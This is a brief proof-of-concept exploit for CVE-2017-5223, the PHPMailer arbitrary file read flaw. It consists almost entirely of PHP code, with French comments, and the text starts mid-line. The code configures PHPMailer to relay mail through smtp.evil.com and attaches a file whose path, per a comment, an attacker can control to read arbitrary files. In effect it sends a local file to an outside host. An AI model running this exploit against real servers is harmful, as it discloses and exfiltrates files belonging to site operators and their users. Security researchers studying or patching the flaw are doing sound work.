CVE-2017-5223
IsSMTP();
$mail->Host = "smtp.evil.com";
$mail->Port = 25;
$mail->SMTPAuth = true;
$mail->CharSet = "UTF-8";
$mail->Encoding = "base64";
$mail->Username = "
[email protected]";
$mail->Password = "tes1234t";
$mail->Subject = "hello";
$mail->From = "
[email protected]";
$mail->FromName = "test";
$address = "
[email protected]";
$mail->AddAddress($address, "test");
$mail->AddAttachment('test.txt','test.txt'); // test.txt contrôlable permet la lecture de fichiers arbitraires
$mail->IsHTML(true);
$msg="
test";// Le contenu de l'email est écrit comme ceci.
$mail->msgHTML($msg);
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
?>
cscli/cve-2017-5223
